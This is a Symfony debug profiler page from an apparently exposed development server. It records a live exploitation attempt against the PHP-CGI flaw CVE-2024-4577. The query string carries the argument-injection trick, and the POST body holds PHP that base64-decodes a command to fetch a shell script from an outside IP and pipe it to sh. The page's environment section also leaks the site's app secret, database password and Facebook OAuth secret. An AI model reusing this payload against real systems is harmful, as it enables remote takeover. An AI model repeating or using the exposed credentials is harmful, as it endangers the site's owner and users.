http://5.135.160.91/hello.world?p=hello.world&%ADd_allow_url_include%3D1_%ADd_auto_prepend_file%3Dphp%3A%2F%2Finput=

Method
GET
HTTP Status
404
IP
62.169.22.37
Profiled on
Token
70ee48

ErrorController

Request

GET Parameters

Key Value
p 
"hello.world"
�d_allow_url_include=1_�d_auto_prepend_file=php://input 
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA 
"=")); echo(md5("Hello CVE-2024-4577")); ?>"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"error_controller"
exception 
Symfony\Component\HttpKernel\Exception\NotFoundHttpException {#171
  -statusCode: 404
  -headers: []
  #message: "No route found for "POST /hello.world""
  #code: 0
  #file: "/home/www/www/acnh/vendor/symfony/http-kernel/EventListener/RouterListener.php"
  #line: 136
  -previous: Symfony\Component\Routing\Exception\ResourceNotFoundException {#86 …}
  trace: {
    /home/www/www/acnh/vendor/symfony/http-kernel/EventListener/RouterListener.php:136 {
      Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest(RequestEvent $event) …
      › 
      ›     throw new NotFoundHttpException($message, $e);
      › } catch (MethodNotAllowedException $e) {
    }
    /home/www/www/acnh/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:117 {
      Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
      › 
      › ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);
      › 
    }
    /home/www/www/acnh/vendor/symfony/event-dispatcher/EventDispatcher.php:230 {
      Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event) …
      ›     }
      ›     $listener($event, $eventName, $this);
      › }
    }
    /home/www/www/acnh/vendor/symfony/event-dispatcher/EventDispatcher.php:59 {
      Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, string $eventName = null): object …
      › if ($listeners) {
      ›     $this->callListeners($listeners, $eventName, $event);
      › }
    }
    /home/www/www/acnh/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:151 {
      Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, string $eventName = null): object …
      › try {
      ›     $this->dispatcher->dispatch($event, $eventName);
      › } finally {
    }
    /home/www/www/acnh/vendor/symfony/http-kernel/HttpKernel.php:133 {
      Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MASTER_REQUEST): Response …
      › $event = new RequestEvent($this, $request, $type);
      › $this->dispatcher->dispatch($event, KernelEvents::REQUEST);
      › 
    }
    /home/www/www/acnh/vendor/symfony/http-kernel/HttpKernel.php:79 {
      Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MASTER_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->handleRaw($request, $type);
      › } catch (\Exception $e) {
    }
    /home/www/www/acnh/vendor/symfony/http-kernel/Kernel.php:191 {
      Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MASTER_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->getHttpKernel()->handle($request, $type, $catch);
      › } finally {
    }
    /home/www/www/acnh/public/index.php:25 {
      › $request = Request::createFromGlobals();
      › $response = $kernel->handle($request);
      › $response->send();
    }
  }
}
logger 
null

Request Headers

Header Value
accept 
"*/*"
connection 
"keep-alive"
content-length 
"225"
content-type 
"application/x-www-form-urlencoded"
host 
"5.135.160.91:80"
upgrade-insecure-requests 
"1"
user-agent 
"Custom-AsyncHttpClient"
x-php-ob-level 
"1"

Request Content

Raw

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA==")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Fri, 15 Nov 2024 01:33:50 GMT"
x-debug-token 
"70ee48"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

Key Value
Created 
"Fri, 15 Nov 24 02:33:50 +0100"
Last used 
"Fri, 15 Nov 24 02:33:50 +0100"
Lifetime 
"0"

Session Attributes

Attribute Value
idiom 
"es"
idiomas 
[
  "es"
  "us"
  "de"
  "fr"
  "it"
  "ru"
  "nl"
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_SECRET 
"4d79c3e90021125eec96337e5024fc6e"
DATABASE_HOST 
"127.0.0.1"
DATABASE_PASSWORD 
"4ng3lsf00d13"
DATABASE_SCHEMA 
"acnh"
DATABASE_USER 
"foodieAngels"
MYSQL_VERSION 
"latest"
OAUTH_FACEBOOK_ID 
"896653894079027"
OAUTH_FACEBOOK_SECRET 
"e7beac05dc4eefef62f8c416ee8eb135"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
CONTENT_LENGTH 
"225"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
CONTEXT_DOCUMENT_ROOT 
"/var/www/acnh/public/"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/acnh/public/"
GATEWAY_INTERFACE 
"CGI/1.1"
HTTP_ACCEPT 
"*/*"
HTTP_CONNECTION 
"keep-alive"
HTTP_HOST 
"5.135.160.91:80"
HTTP_UPGRADE_INSECURE_REQUESTS 
"1"
HTTP_USER_AGENT 
"Custom-AsyncHttpClient"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"p=hello.world&%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_QUERY_STRING 
"p=hello.world&%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/hello.world"
REMOTE_ADDR 
"62.169.22.37"
REMOTE_PORT 
"53506"
REQUEST_METHOD 
"GET"
REQUEST_SCHEME 
"http"
REQUEST_TIME 
1731634429
REQUEST_TIME_FLOAT 
1731634429.928
REQUEST_URI 
"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME 
"/var/www/acnh/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"5.135.160.91"
SERVER_ADMIN 
"[no address given]"
SERVER_NAME 
"5.135.160.91"
SERVER_PORT 
"80"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
"<address>Apache/2.4.29 (Ubuntu) Server at 5.135.160.91 Port 80</address>\n"
SERVER_SOFTWARE 
"Apache/2.4.29 (Ubuntu)"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,DATABASE_HOST,DATABASE_USER,DATABASE_PASSWORD,DATABASE_SCHEMA,MYSQL_VERSION,OAUTH_FACEBOOK_ID,OAUTH_FACEBOOK_SECRET"

Parent Request

Return to parent request (token = f0621e)

Key Value
(no data)